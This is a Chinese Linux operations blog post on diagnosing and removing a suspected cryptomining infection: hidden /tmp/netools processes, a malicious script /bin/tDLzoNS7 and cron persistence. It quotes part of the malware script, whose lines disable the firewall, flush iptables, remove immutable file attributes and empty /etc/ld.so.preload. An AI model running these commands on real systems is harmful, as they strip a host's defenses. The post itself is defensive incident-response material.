Linux运维笔记:服务器感染 netools 病毒案例

文章目录

    • 背景
    • 排查过程
      • [1. 发现异常](#1. 发现异常)
      • [2. 检测隐藏进程](#2. 检测隐藏进程)
      • [3. 尝试终止进程](#3. 尝试终止进程)
      • [4. 深入分析进程](#4. 深入分析进程)
    • 处理步骤
      • [1. 禁用 Cron 任务](#1. 禁用 Cron 任务)
      • [2. 删除恶意文件](#2. 删除恶意文件)
      • [3. 终止恶意进程](#3. 终止恶意进程)
      • [4. 重启系统](#4. 重启系统)
    • 注意事项
    • 总结

提示 :本文记录了一起 Linux 服务器感染恶意软件(疑似挖矿病毒)的排查与处理过程,涉及隐藏进程 netools、恶意脚本 /bin/tDLzoNS7 及 Cron 持久化机制。希望对遇到类似问题的读者有所帮助!

背景

最近实验室服务器(ccccs-Z790-UD-AX)经常发生进程崩溃问题,使用 htop 命令发现其 32 个 CPU 线程总是被完全占用,但未显示相关进程,怀疑系统感染了病毒。结合 unhide proc 检测到的隐藏进程 /tmp/netools 和恶意脚本 /bin/tDLzoNS7,确认系统存在恶意软件。

本文将详细介绍病毒排查、分析、处理步骤及注意事项。

排查过程

1. 发现异常

通过 htop 观察到 CPU 占用率异常高,但未找到明显的高负载进程。初步怀疑是隐藏进程导致,可能是挖矿病毒或 rootkit。

2. 检测隐藏进程

使用 unhide proc 命令扫描隐藏进程,输出如下:

plaintext 复制代码
Found HIDDEN PID: 3010499
    Cmdline: "<none>"
    Executable: "<no link>"
    "<none> ... maybe a transitory process"

Found HIDDEN PID: 3010501
    Cmdline: "/tmp/netools"
    Executable: "/tmp/netools"
    Command: "netools"
    $USER=<undefined>
    $PWD=/root
...
Found HIDDEN PID: 3010698
    Cmdline: "/tmp/netools"
    Executable: "/tmp/netools"
    Command: "netools"
    $USER=<undefined>
    $PWD=/root
  • 分析 :
    • 检测到大量以 /tmp/netools 命名的隐藏进程(PID 3010501 至 3010698),以 root 权限运行。
    • 进程路径为 /tmp/netools,表明恶意软件可能在临时目录中运行。
    • PID 3010499 显示 <none>,可能是短暂进程或 rootkit 隐藏。

3. 尝试终止进程

尝试使用 kill -9 <PID> 终止 netools 进程,但 CPU 占用很快恢复,表明存在持久化机制(如 Cron 或服务)重启进程。

4. 深入分析进程

多次使用 ps aux --sort=-pcpu | head -10 以及 ps -aux | grep netools查看高 CPU 占用进程后,发现可疑进程:

plaintext 复制代码
root     3024733  0.2  0.0  12580  3288 ?        S    10:30   0:00 /bin/tDLzoNS7 -c ...
  • 命令行内容(部分):

    bash 复制代码
    #!/bin/bash
    crontab -r >/dev/null 2>&1
    ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done
    ufw disable >/dev/null 2>&1
    iptables -P INPUT ACCEPT 2>/dev/null
    iptables -P OUTPUT ACCEPT 2>/dev/null
    iptables -P FORWARD ACCEPT 2>/dev/null
    iptables -F 2>/dev/null
    chattr -i /usr/sbin/ /usr/bin/ /bin/ /usr/lib /usr/lib64 /usr/libexec /etc/ /tmp/ /sbin/ /etc/resolv.conf
    chattr -i /etc/cron.d/systeml /etc/cron.weekly/systeml /etc/cron.hourly/systeml /etc/cron.daily/systeml /etc/cron.monthly/systeml
    chattr -ia /etc/ld.so.preload
    cat /dev/null > /etc/ld.so.preload
    ...
  • 通过 grok 的脚本行为分析:

    1. 终止高 CPU 进程 :杀死 CPU 占用超过 40% 的进程(排除 xmr-stak 等挖矿相关进程),可能为掩盖自身活动。
    2. 禁用防火墙 :禁用 ufw 和清空 iptables 规则,开放所有网络流量。
    3. 移除文件保护 :使用 chattr -i 解除关键目录和文件的不可变属性,便于修改。
    4. 动态文件名 :
      • 检查 /usr/lib/systemd/previous_filenames1 和 /usr/lib/systemd/previous_filenames2,读取上次使用的随机文件名。
      • 若文件不存在,生成随机文件名(如 /bin/<random_string>),保存至上述文件。
      • 重命名 x86_64 和 i386 文件为随机名称,存储在 /bin/。
    5. 持久化运行 :
      • 将恶意文件复制到 /tmp/netools 和 /tmp/neo,并赋予执行权限。
      • 检查 /bin/.locked 中的 PID,若进程未运行,则启动 /tmp/netools --tls。
      • 更新 /bin/.locked 中的 PID,确保单实例运行。
    6. 清理痕迹 :终止 fold、cat、tr 等辅助进程,隐藏活动。
  • 结论 :/bin/tDLzoNS7 是恶意脚本,负责启动 /tmp/netools,疑似挖矿病毒,具备防火墙规避、文件保护解除和动态文件名伪装功能。

处理步骤

1. 禁用 Cron 任务

  • 目标:阻止恶意脚本通过 Cron 重启。
  • 步骤 :
    • 编辑 /etc/crontab:

      bash 复制代码
      sudo nano /etc/crontab
    • 注释掉周期性任务:

      plaintext 复制代码
      # 17 *  * * *   root    cd / && run-parts --report /etc/cron.hourly
      # 25 6  * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
      # 47 6  * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
      # 52 6  1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    • 检查其他 Cron 目录:

      bash 复制代码
      ls -la /etc/cron.*/*
      • 发现可疑文件 /etc/cron.hourly/nek3MFYw,内容为:

        plaintext 复制代码
        */1 * * * * root /bin/tDLzoNS7 1 1
    • 将这些行都注释掉 或者 删除可疑 Cron 文件:

      bash 复制代码
      	cat /etc/cron.daily/GxKvnjSb
         # /1     root /bin/tDLzoNS7 1 1

2. 删除恶意文件

  • 目标:移除恶意可执行文件和相关组件。
  • 步骤 :
    • 删除 /bin/tDLzoNS7:

      bash 复制代码
      sudo chattr -i /bin/tDLzoNS7
      sudo rm -f /bin/tDLzoNS7
    • 检查 /usr/lib/systemd/previous_filenames1 和 /usr/lib/systemd/previous_filenames2:

      bash 复制代码
      cat /usr/lib/systemd/previous_filenames1
      cat /usr/lib/systemd/previous_filenames2
      • 假设内容为 XXX,删除相关文件:

        bash 复制代码
        sudo chattr -i /bin/XXX /tmp/XXX /tmp/neo
        sudo rm -f /bin/XXX /tmp/XXX /tmp/neo
    • 清理 /tmp 和 /dev/shm:

      bash 复制代码
      sudo rm -f /tmp/netools /dev/shm/netools
    • 验证删除:

      bash 复制代码
      ls -l /bin/lRrlrT3D /tmp/netools /tmp/neo /bin/XXX

3. 终止恶意进程

  • 目标 :停止 netools 和相关进程。
  • 步骤 :
    • 杀死进程:

      bash 复制代码
      sudo kill -9 19871 19872 19873 19874 19875 19919 19...
    • 验证:

      bash 复制代码
      htop

      显示 cpu 资源正常

4. 重启系统

  • 命令 :

    bash 复制代码
    sudo reboot
  • 注意 :

    • 重启过程中发现终端无法访问,原因是 /dev 目录文件被删除(可能由病毒或误操作导致)。
    • 重启后 /dev 文件自动恢复,终端访问正常。

注意事项

  1. 感染源 :

    • 此次病毒很可能可能通过不正规的软件包引入,需严格审查下载来源。

    • 检查近期安装的软件:

      bash 复制代码
      dpkg -l | grep <suspicious_name>
  2. 持久化机制 :

    • 定期检查 Cron 任务和系统文件:

      bash 复制代码
      crontab -l
      ls -la /etc/cron.*/*
  3. 防火墙恢复 :

    • 重新启用防火墙(重启后系统已自动恢复):

      bash 复制代码
      sudo apt install ufw
      sudo ufw default deny
      sudo ufw allow 22
      sudo ufw enable
  4. 系统安全 :

    • 更新系统:

      bash 复制代码
      sudo apt update && sudo apt upgrade

总结

本次病毒感染涉及隐藏进程 /tmp/netools 和恶意脚本 /bin/tDLzoNS7,通过 Cron 任务实现持久化,疑似挖矿病毒。处理过程包括禁用 Cron、删除恶意文件、终止进程和系统重启。建议加强软件来源管理、定期扫描和防火墙配置,以防止类似事件。

如果您遇到类似问题,可参考本文步骤,并及时联系网络管理员或安全团队。

相关推荐
未济3 天前
linux 配置环境变量
linux
傲世仙尊3 天前
目录即文件-Ext文件系统收尾篇
linux·c语言
虎头金猫3 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
_艾伦 耶格尔.3 天前
进程间通信
linux
AI职业加油站3 天前
AI智能体应用工程师证书:政策红利下的职业新风口
大数据·运维·人工智能·学习·职场发展
龙亘川3 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
Liuqy-053 天前
Linux IO编程——静态库、动态库
linux
此冬歌咏3 天前
K8s 节点故障实战:优雅驱逐 31 秒,硬故障 331 秒,以及那个永远 Pending 的 Pod
运维·k8s
彧azz3 天前
Linux 环境下 Redis 学习总结:数据类型、持久化、锁、事务、主从与缓存问题
linux·redis·笔记·学习·面试